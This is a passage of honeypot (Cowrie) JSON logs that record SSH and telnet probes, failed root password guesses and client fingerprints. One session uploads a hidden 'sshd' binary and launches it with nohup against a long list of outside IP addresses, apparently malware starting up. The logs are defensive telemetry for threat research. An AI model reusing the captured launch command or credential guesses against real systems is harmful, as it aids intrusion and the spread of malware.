ef:f6:26:9f:cf:e0:79:1e:e0:b0:f3:c4:14:99:65:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:40.012344Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:f6:26:9f:cf:e0:79:1e:e0:b0:f3:c4:14:99:65:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDC+ixJj4L80fOQPJ2/UXRoCd5iG1Y3Sz9rPdgOSjFtzOKk+XKjuiJiLC1MkAnalUal729fGrSaAjsWnAxGZofoDhcCmg0HHbsDtB5/XOpHR7s3xRDav6A9q+XNYpbM3UdmG5NzPnbpMJaTXTf1L3RBe9KtY4MK6JvKWJbz7oRwo8BUx37JTvtR5KyAji7+iMk7kEgNa0/Pp1tyOoy9dqp/taYFA6JdEMsBGSHl1cxtsBVjzL+cgqoSMI1nG8b6VFxEyr/NTRnwTiPkijBs2Mi/HJ2xy3JMdgSiHzcjHq6RCqq82iJ87UpKWEDGZOIzHe2QebC4R8VbW0V+wqeT9SeH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:40.016506Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:40.104378Z","src_ip":"50.7.233.211","session":"97390a8a5a5b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.16","src_port":36716,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:36716","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:47.603818Z","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:47.800863Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\x0b\\xcbm\\t\\xd4\\x1c!\\x9cM\\xfeT\\xc6\\x9d\\x9a;MCYg\\xf8bA)C\\x92'x_>\\xa9\\xbb %\\x89q\\xbc\\xbd\\xa5XPX\\xade\\xd2\\xc6:\\xe7\\x06p\\\\\\xb7\\xc5E\\x02&2\\x886\\xf2\\xfa\\xb3\\xd3\\xa4\\xec\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd0W\\xdb\\xeas\\xe8j$\\xec\\xe6\\x059\\xe7\\xba\\xd3P\\x15f\\xc4S\\x08\\x0c\\x9c\\xb8U\\xeb^^\\x13h|:\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbc\\x0b\\xcbm\\t\\xd4\\x1c!\\x9cM\\xfeT\\xc6\\x9d\\x9a;MCYg\\xf8bA)C\\x92'x_>\\xa9\\xbb %\\x89q\\xbc\\xbd\\xa5XPX\\xade\\xd2\\xc6:\\xe7\\x06p\\\\\\xb7\\xc5E\\x02&2\\x886\\xf2\\xfa\\xb3\\xd3\\xa4\\xec\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xd0W\\xdb\\xeas\\xe8j$\\xec\\xe6\\x059\\xe7\\xba\\xd3P\\x15f\\xc4S\\x08\\x0c\\x9c\\xb8U\\xeb^^\\x13h|:\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:47.805062Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:01:48.023044Z","src_ip":"192.42.116.16","session":"8a149017e5f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42692,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbaa0589045","protocol":"telnet","message":"New connection: 152.42.224.71:42692 (10.17.0.5:23) [session: 7bbaa0589045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:02:05.799141Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49848,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a9a585a23d9","protocol":"ssh","message":"New connection: 152.42.212.128:49848 (159.203.135.109:22) [session: 1a9a585a23d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:02:07.298774Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:02:07.303959Z","src_ip":"152.42.212.128","session":"1a9a585a23d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:02:07.308620Z","src_ip":"152.42.212.128","session":"1a9a585a23d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33966,"dst_ip":"10.17.0.5","dst_port":22,"session":"511811a2ebb3","protocol":"ssh","message":"New connection: 89.223.69.22:33966 (10.17.0.5:22) [session: 511811a2ebb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:26.391442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:26.398076Z","src_ip":"89.223.69.22","session":"511811a2ebb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:26.512050Z","src_ip":"89.223.69.22","session":"511811a2ebb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d123456","message":"login attempt [root/d123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:26.855882Z","src_ip":"89.223.69.22","session":"511811a2ebb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:27.972451Z","src_ip":"89.223.69.22","session":"511811a2ebb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59034,"dst_ip":"10.17.0.5","dst_port":23,"session":"f53c3081199c","protocol":"telnet","message":"New connection: 152.42.224.71:59034 (10.17.0.5:23) [session: f53c3081199c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:40.612617Z"}
{"eventid":"cowrie.session.closed","duration":95.43974709510803,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:03:41.238702Z","src_ip":"152.42.224.71","session":"7bbaa0589045","protocol":"telnet"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:04:32.395027Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:04:33.278180Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.7382959444539278678/sshd;nohup ./.7382959444539278678/sshd 111.12.131.236 122.225.202.151 124.225.88.88 125.88.174.233 45.227.67.219 117.187.109.144 119.13.188.51 47.94.158.98 69.87.207.135 103.150.136.43 159.203.77.170 154.211.13.102 117.236.124.185 47.100.121.202 8.245.24.52 177.44.220.225 223.75.204.39 115.57.127.223 103.234.62.157 77.37.125.180 120.224.42.110 62.72.1.151 103.36.223.138 159.203.108.2 156.254.3.130 85.203.43.4 176.65.140.224 128.199.173.252 147.45.66.200 185.60.136.200 103.232.21.226 41.225.238.233 69.87.207.133 187.49.144.147 104.223.122.139 38.47.32.198 47.93.137.235 103.188.82.254 160.30.200.25 117.62.201.93 118.89.58.184 183.238.53.197 164.164.35.107 156.232.10.81 115.120.10.15 85.9.123.145 65.37.124.237 128.199.71.93 195.182.25.234 103.91.211.13 138.124.31.19 &","message":"CMD: chmod +x ./.7382959444539278678/sshd;nohup ./.7382959444539278678/sshd 111.12.131.236 122.225.202.151 124.225.88.88 125.88.174.233 45.227.67.219 117.187.109.144 119.13.188.51 47.94.158.98 69.87.207.135 103.150.136.43 159.203.77.170 154.211.13.102 117.236.124.185 47.100.121.202 8.245.24.52 177.44.220.225 223.75.204.39 115.57.127.223 103.234.62.157 77.37.125.180 120.224.42.110 62.72.1.151 103.36.223.138 159.203.108.2 156.254.3.130 85.203.43.4 176.65.140.224 128.199.173.252 147.45.66.200 185.60.136.200 103.232.21.226 41.225.238.233 69.87.207.133 187.49.144.147 104.223.122.139 38.47.32.198 47.93.137.235 103.188.82.254 160.30.200.25 117.62.201.93 118.89.58.184 183.238.53.197 164.164.35.107 156.232.10.81 115.120.10.15 85.9.123.145 65.37.124.237 128.199.71.93 195.182.25.234 103.91.211.13 138.124.31.19 &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:04:33.282202Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/fec85e921bd3b31802117617e585cebbf9031d650f03b708abbc43a00a2c9f21","size":136,"shasum":"fec85e921bd3b31802117617e585cebbf9031d650f03b708abbc43a00a2c9f21","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/fec85e921bd3b31802117617e585cebbf9031d650f03b708abbc43a00a2c9f21 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:04:33.549747Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"246.1","message":"Connection lost after 246.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:04:33.555460Z","src_ip":"124.152.4.100","session":"fdeb479f7587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":52906,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ac5980caea","protocol":"ssh","message":"New connection: 103.82.132.16:52906 (159.203.135.109:22) [session: 64ac5980caea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:11.235834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:11.241653Z","src_ip":"103.82.132.16","session":"64ac5980caea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:11.500925Z","src_ip":"103.82.132.16","session":"64ac5980caea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwert","message":"login attempt [root/123qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:12.283108Z","src_ip":"103.82.132.16","session":"64ac5980caea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:13.546413Z","src_ip":"103.82.132.16","session":"64ac5980caea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44282,"dst_ip":"159.203.135.109","dst_port":22,"session":"480670f8f7c7","protocol":"ssh","message":"New connection: 103.15.222.183:44282 (159.203.135.109:22) [session: 480670f8f7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:14.719933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:14.732004Z","src_ip":"103.15.222.183","session":"480670f8f7c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:14.977058Z","src_ip":"103.15.222.183","session":"480670f8f7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sokolov","message":"login attempt [root/sokolov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:15.825473Z","src_ip":"103.15.222.183","session":"480670f8f7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:17.073093Z","src_ip":"103.15.222.183","session":"480670f8f7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":34228,"dst_ip":"10.17.0.5","dst_port":22,"session":"e63dd07e1b47","protocol":"ssh","message":"New connection: 185.236.22.41:34228 (10.17.0.5:22) [session: e63dd07e1b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:32.020651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:05:32.073841Z","src_ip":"185.236.22.41","session":"e63dd07e1b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["ae